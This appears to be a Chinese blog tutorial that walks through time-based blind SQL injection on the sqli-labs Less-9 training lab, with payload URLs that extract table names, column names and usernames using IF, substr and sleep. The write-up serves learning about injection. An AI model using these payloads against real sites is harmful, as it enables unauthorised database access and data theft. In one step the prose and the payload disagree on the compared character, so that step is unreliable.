目錄
-
-
-
- 一、知識鋪墊
- 二、時間盲注複現
-
- 1、測試注入點
- 2、爆表名
- 3、爆列名
- 4、爆内容
-
-
一、知識鋪墊
sql中的if表達式:
文法:
IF( expr1 , expr2 , expr3 )
expr1 的值為 TRUE,則傳回值為 expr2
expr1 的值為FALSE,則傳回值為 expr3
SELECT IF(TRUE,1+1,1+2);
-> 2
SELECT IF(FALSE,1+1,1+2);
-> 3
SELECT IF(STRCMP("111","222"),"不相等","相等");
-> 不相等
二、時間盲注複現
1、測試注入點
測試發現sleep被帶入資料庫中執行。
http://localhost/sqli-labs/Less-9?id=1' and sleep(5) -- +
發現明顯延遲,證明是時間盲注,然後就可以構造我們的payload
?id=1' and if(substr(database(),1,1)=‘s’,sleep(5),null) -- +
通過一個if語句讓資料庫名稱的第一個字元與e進行比較,如果一樣就會暫停五秒,如果不等于就為假不暫停。然後就慢慢進行嘗試
2、爆表名
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) -- +
3、爆列名
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1) -- +
4、爆内容
http://localhost/sqli-labs/Less-9?id=1' and if(substr((select username from users limit 0,1),1,1)='D' ,sleep(5),1) -- +
也可以通過python腳本批量測試,根據頁面的響應時長判斷sql是否執行。
第十關也是時間盲注把單引号換成雙引号即可。
參考文章:
https://www.cnblogs.com/Xy–1/p/12726288.html
https://blog.csdn.net/qq_36850813/article/details/80449860